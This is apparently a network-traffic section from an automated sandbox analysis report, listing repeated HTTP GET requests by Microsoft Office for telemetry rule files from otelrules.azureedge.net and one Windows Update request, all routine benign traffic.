Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SPyVaKnKCexkNSH&MD=pMe5LR7n HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
